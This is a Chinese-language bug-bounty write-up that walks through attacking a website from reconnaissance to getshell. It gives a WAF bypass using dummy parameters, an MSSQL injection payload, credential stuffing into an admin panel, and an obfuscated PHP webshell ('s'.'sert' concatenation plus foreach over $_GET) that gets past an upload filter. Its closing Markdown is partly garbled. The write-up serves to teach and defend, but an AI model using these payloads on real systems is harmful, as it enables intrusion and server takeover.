一次挖掘SRC漏洞 - 从0到有
字数 1563 2025-08-20 18:17:47
SRC漏洞挖掘实战:从信息搜集到Getshell的完整过程
1. 信息搜集与目标选择
- 目标选择策略:主站 vs 子域名
- 子域名通常防护较弱,但奖金相同
- 作者选择直接测试主站A.com
- 工具使用:
- Layer子域名扫描工具
- 主站测试优先于子域名扫描
2. 初步测试:搜索框漏洞探测
2.1 SQL注入测试
- 输入
1'测试单引号过滤- 返回
1而非1'→ 可能全局过滤单引号
- 返回
- 测试思路:
- 寻找int类型注入点
- 利用全局过滤特性绕过WAF(如
se'l'e'c't→select)
2.2 XSS测试
- 发现搜索框过滤XSS
- 确认非全局单引号过滤
3. WAF识别与绕过
3.1 WAF类型识别
- 测试方法:输入
?x=1 union select- 被拦截 → 硬WAF(流量拦截)
- 发现WAF特性:
- 不处理注释内容
- 智能型WAF
3.2 WAF绕过技术
- 使用虚假参数构造请求:
a=/&id=真实参数&b=/- 程序只接收id参数
- WAF被成功绕过
4. 目录扫描与敏感路径发现
4.1 扫描策略
- 使用Burp Suite扫描(避免被封IP)
- 关注状态码:302、403、200
- 发现异常目录
/tz
4.2 方法名Fuzz
- URL结构分析:路径后跟方法名
- 使用字典:https://github.com/TheKingOfDuck/fuzzDicts
- 发现
add方法
5. 参数Fuzz与SQL注入发现
5.1 参数构造过程
username=1→ 提示"真实姓名不能为空"- 尝试
realname=1→ 仍提示相同 - 测试"真实姓名"英文翻译 →
realname - 身份证参数猜测:
- 尝试
idcard→ 失败 - 尝试拼音
sfz=1→ 失败 - 改为
sfzh=1→ 成功
- 尝试
5.2 SQL注入确认
- 返回"用户名1已存在" → 数据库交互
- 测试单引号
username=1'→ 报错 - 构造Payload:
a=/&username=1' and 1='1&realname=1&sfzh=111'&b=/1=1→ 正常返回1=2→ 异常返回 → 确认SQL注入
5.3 数据库类型识别
- 初始误判为HQL注入
- 通过
and user='1'测试 → 发现dbo用户 → MSSQL数据库 - 确认MSSQL报错注入可行
6. 后台渗透与文件上传漏洞
6.1 后台登录
- 通过SQL注入获取账号密码
- 跨平台撞库成功
6.2 文件上传绕过
-
后缀名绕过:
- 上传jpg文件 → 抓包改后缀
- 换行绕过WAF检测
-
内容检测绕过:
- 直接
<?php被拦截 - 使用短标签
<?=phpinfo()?>成功 - 确认PHP版本5.6
- 直接
-
代码执行构造:
- 关键字过滤绕过:
$a='a'.'s'.'sert'; - 传参方式被拦截 → 使用
foreach伪全局:foreach ($_GET as $key=>$value){
- 关键字过滤绕过:
\[key=$value; } $a($key); // 相当于assert($_GET['key']) ``` - 最终获取Webshell ## 7. 关键技巧总结 1. **WAF绕过**: - 利用注释和虚假参数 - 智能WAF的特性利用 2. **参数Fuzz**: - 中英文参数名尝试 - 拼音参数名猜测 3. **数据库识别**: - 通过系统用户判断数据库类型 - 报错信息分析 4. **文件上传绕过**: - 短标签利用 - 字符串拼接绕过关键字检测 - `foreach`伪全局变量技巧 5. **整体思路**: - 从表面功能点深入 - 每个异常响应都可能是突破口 - 保持耐心,逐步测试每个可能性 ## 8. 工具与资源 1. 子域名扫描:Layer 2. 目录扫描:Burp Suite 3. Fuzz字典:https://github.com/TheKingOfDuck/fuzzDicts 4. HQL注入测试:hqlmap(虽然本次未成功使用) ## 9. 防御建议 1. 对用户输入严格过滤 2. 避免使用拼音作为参数名 3. 文件上传应检测内容和后缀 4. 关键操作增加二次验证 5. 错误信息统一化,避免泄露系统细节 通过这个案例,展示了从信息搜集到最终获取系统权限的完整渗透测试过程,每个步骤都包含了详细的技术细节和思考过程,是学习SRC漏洞挖掘的优秀范例。\]